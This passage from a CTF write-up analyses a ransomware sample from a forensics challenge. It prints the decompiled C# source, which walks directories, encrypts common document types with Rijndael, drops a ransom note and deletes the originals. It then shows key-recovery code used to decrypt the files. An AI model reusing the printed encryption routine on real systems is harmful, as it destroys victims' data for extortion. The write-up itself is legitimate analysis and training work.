MpCmdRun.exe -Restore -All -Path C:\Users\Public\Documents

Surface-level analysis of the four restored samples revealed that a file called intel.exe likely matches the ransomware.

![image-20240316000805456](../../static/media/2024-03-09-ctf-cyber-apocaly-ctf-2024/image-20240316000805456.png)

Opening this file in BinaryNinja, _CorExeMain was loaded at the entry point and it could not be properly analyzed.

![image-20240316001225811](../../static/media/2024-03-09-ctf-cyber-apocaly-ctf-2024/image-20240316001225811.png)

Since this binary appears to be a .NET program, we analyze it with ILSpy.

The code for the Main section was as follows.

The actual encryption processing appears to be performed by `Enc(Environment.CurrentDirectory);`.

Looking at the Enc function, it appears that file encryption is performed by `coreEncrypter.EncryptFile(text)`.

``` c#
// Encrypter, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// Encrypter.Program
using System;
using System.Collections.Generic;
using System.IO;
using System.Net;
using Encrypter.Class;

internal class Program
{
	private static string email1;

	private static string email2;

	public static readonly string alertName;

	private static string salt;

	private static string email;

	private static string softwareName;

	private static CoreEncrypter coreEncrypter;

	private static string UID;

	private static void Main(string[] args)
	{
		Utility utility = new Utility();
		PasswordHasher passwordHasher = new PasswordHasher();
		if (Dns.GetHostName().Equals("DESKTOP-A1L0P1U", StringComparison.OrdinalIgnoreCase))
		{
			UID = utility.GenerateUserID();
			utility.Write("\nUserID = " + UID, ConsoleColor.Cyan);
			Alert alert = new Alert(UID, email1, email2);
			email = string.Concat(new string[4] { email1, " And ", email2, " (send both)" });
			coreEncrypter = new CoreEncrypter(passwordHasher.GetHashCode(UID, salt), alert.ValidateAlert(), alertName, email);
			utility.Write("\nStart ...", ConsoleColor.Red);
			Enc(Environment.CurrentDirectory);
			Console.ReadKey();
		}
	}

	private static List<string> Enc(string sDir)
	{
		List<string> list = new List<string>();
		string[] files = Directory.GetFiles(sDir);
		foreach (string text in files)
		{
			try
			{
				string extension = Path.GetExtension(text);
				if (!text.Contains(".korp") && !text.Contains(".hta") && !text.Contains("ID.sc") && !text.Contains("desktop.ini") && !text.Contains(softwareName))
				{
					switch (extension)
					{
					case ".txt":
					case ".doc":
					case ".docx":
					case ".xls":
					case ".xlsx":
					case ".ppt":
					case ".pptx":
					case ".odt":
					case ".jpg":
					case ".png":
					case ".csv":
					case ".sql":
					case ".mdb":
					case ".sln":
					case ".php":
					case ".pdf":
					case ".aspx":
					case ".html":
					case ".xml":
					case ".psd":
					case ".jpeg":
						Console.ForegroundColor = ConsoleColor.Green;
						Console.WriteLine(text);
						Console.ForegroundColor = ConsoleColor.Green;
						coreEncrypter.EncryptFile(text);
						break;
					}
				}
			}
			catch (Exception)
			{
			}
		}
		files = Directory.GetDirectories(sDir);
		foreach (string sDir2 in files)
		{
			try
			{
				list.AddRange(Enc(sDir2));
			}
			catch (Exception)
			{
			}
		}
		return list;
	}

	static Program()
	{
		email1 = "fraycrypter@korp.com";
		email2 = "fraydecryptsp@korp.com";
		alertName = "ULTIMATUM";
		salt = "0f5264038205edfb1ac05fbb0e8c5e94";
		softwareName = "Encrypter";
		coreEncrypter = null;
		UID = null;
	}
}

The CoreEncrypter class was implemented as follows.

As can be seen from this code, the actual encryption processing is quite simple.

// Encrypter, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// Encrypter.Class.CoreEncrypter
using System;
using System.IO;
using System.Security.Cryptography;

public class CoreEncrypter
{
	public string password { get; set; }

	public string alert { get; set; }

	public string alertName { get; set; }

	public string email { get; set; }

	public CoreEncrypter(string password, string alert, string alertName, string email)
	{
		this.password = password;
		this.alert = alert;
		this.alertName = alertName;
		this.email = email;
	}

	public void EncryptFile(string file)
	{
		byte[] array = new byte[65535];
		byte[] salt = new byte[8] { 0, 1, 1, 0, 1, 1, 0, 0 };
		Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(password, salt, 4953);
		RijndaelManaged rijndaelManaged = new RijndaelManaged();
		rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);
		rijndaelManaged.Mode = CipherMode.CBC;
		rijndaelManaged.Padding = PaddingMode.ISO10126;
		rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8);
		FileStream fileStream = null;
		try
		{
			if (!File.Exists(Directory.GetDirectoryRoot(file) + "\\" + alertName + ".hta"))
			{
				File.WriteAllText(Path.GetDirectoryName(file) + "\\" + alertName + ".hta", alert);
			}
			File.WriteAllText(Path.GetDirectoryName(file) + "\\" + alertName + ".hta", alert);
		}
		catch (Exception ex)
		{
			Console.ForegroundColor = ConsoleColor.Red;
			Console.WriteLine(ex.Message);
			Console.ForegroundColor = ConsoleColor.Red;
		}
		try
		{
			fileStream = new FileStream(file, FileMode.Open, FileAccess.ReadWrite);
		}
		catch (Exception ex2)
		{
			Console.ForegroundColor = ConsoleColor.Red;
			Console.WriteLine(ex2.Message);
			Console.ForegroundColor = ConsoleColor.Red;
		}
		if (fileStream.Length < 1000000)
		{
			string path = null;
			FileStream fileStream2 = null;
			CryptoStream cryptoStream = null;
			try
			{
				path = file + ".korp";
				fileStream2 = new FileStream(path, FileMode.Create, FileAccess.Write);
				cryptoStream = new CryptoStream(fileStream2, rijndaelManaged.CreateEncryptor(), CryptoStreamMode.Write);
			}
			catch (Exception ex3)
			{
				Console.ForegroundColor = ConsoleColor.Red;
				Console.WriteLine(ex3.Message);
				Console.ForegroundColor = ConsoleColor.Red;
			}
			try
			{
				int num;
				do
				{
					num = fileStream.Read(array, 0, array.Length);
					if (num != 0)
					{
						cryptoStream.Write(array, 0, num);
					}
				}
				while (num != 0);
				fileStream.Close();
				cryptoStream.Close();
				fileStream2.Close();
			}
			catch (Exception ex4)
			{
				Console.ForegroundColor = ConsoleColor.Red;
				Console.WriteLine(ex4.Message);
				Console.ForegroundColor = ConsoleColor.Red;
			}
			try
			{
				File.Delete(file);
				return;
			}
			catch (Exception)
			{
				File.Delete(path);
				return;
			}
		}
		string destFileName = file + ".korp";
		try
		{
			long position = fileStream.Position;
			int num2 = fileStream.ReadByte() ^ 0xFF;
			fileStream.Seek(position, SeekOrigin.Begin);
			fileStream.WriteByte((byte)num2);
			fileStream.Close();
			File.Move(file, destFileName);
		}
		catch (Exception ex6)
		{
			Console.ForegroundColor = ConsoleColor.Red;
			Console.WriteLine(ex6.Message);
			Console.ForegroundColor = ConsoleColor.Red;
		}
	}
}

CoreEncrypter executes EncryptFile using the password received as an argument.

As can be seen from reading the Main function, the password in this case is the value obtained by passing the UID and salt to PasswordHasher.GetHashCode.

PasswordHasher generates a hash value from the password and salt received as arguments, as follows.

``` c#
internal class PasswordHasher
{
	public string GetSalt()
	{
		return Guid.NewGuid().ToString("N");
	}

	public string Hasher(string password)
	{
		using SHA512CryptoServiceProvider sHA512CryptoServiceProvider = new SHA512CryptoServiceProvider();
		byte[] bytes = Encoding.UTF8.GetBytes(password);
		return Convert.ToBase64String(sHA512CryptoServiceProvider.ComputeHash(bytes));
	}

	public string GetHashCode(string password, string salt)
	{
		string password2 = password + salt;
		return Hasher(password2);
	}

	public bool CheckPassword(string password, string salt, string hashedpass)
	{
		return GetHashCode(password, salt) == hashedpass;
	}
}

The salt passed as an argument here is hardcoded in the program.

Additionally, GenerateUserID is implemented as follows, and it appears to generate the password based on random values.

public string GenerateUserID()
{
    Random random = new Random();
    string[] array = new string[26]
    {
        "A", "B", "C", "D", "E", "F", "G", "H", "I", "J",
        "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T",
        "U", "V", "W", "X", "Y", "Z"
    };
    string[] array2 = new string[10] { "0", "1", "2", "3", "4", "5", "6", "7", "8", "9" };
    string text = null;
    for (int i = 1; i < 15; i++)
    {
        text = ((i % 2 != 0) ? (text + array2[random.Next(0, array2.Length)]) : (text + array[random.Next(0, array.Length)]));
    }
    return text;
}

So, to identify the password, we investigate where else the UID is used.

As a result, we found that the UID is used as an argument in Alert(UID, email1, email2);.

This means it corresponds to 5K7X7E6X7V2D6F that was embedded in the ransom note.

Based on these findings, I obtained the key and IV needed to decrypt the encrypted files using the following code.

using System;
using System.Text;
using System.IO;
using System.Security.Cryptography;

class Program
{
    static void Main(string[] args)
    {
        byte[] array = new byte[65535];
        byte[] salt = new byte[8] { 0, 1, 1, 0, 1, 1, 0, 0 };
        string w = "0f5264038205edfb1ac05fbb0e8c5e94";
        string password = "5K7X7E6X7V2D6F" + w;

        SHA512CryptoServiceProvider sHA512CryptoServiceProvider = new SHA512CryptoServiceProvider();
        byte[] bytes = Encoding.UTF8.GetBytes(password);
        string hash = Convert.ToBase64String(sHA512CryptoServiceProvider.ComputeHash(bytes));
                
        Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(hash, salt, 4953);
        RijndaelManaged rijndaelManaged = new RijndaelManaged();
        rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);
        rijndaelManaged.Mode = CipherMode.CBC;
        rijndaelManaged.Padding = PaddingMode.ISO10126;
        rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8);

        Console.WriteLine(rijndaelManaged.Padding);
    }
}

Using the values obtained here, the AES decryption of the encrypted files succeeds.

![image-20240316100317889](../../static/media/2024-03-09-ctf-cyber-apocaly-ctf-2024/image-20240316100317889.png)

Expanding the decrypted files revealed the correct flag.

![image-20240316100405609](../../static/media/2024-03-09-ctf-cyber-apocaly-ctf-2024/image-20240316100405609.png)



## Summary

There were many great challenges this year, and it was enjoyable.

I'd like to solve the other challenges as well.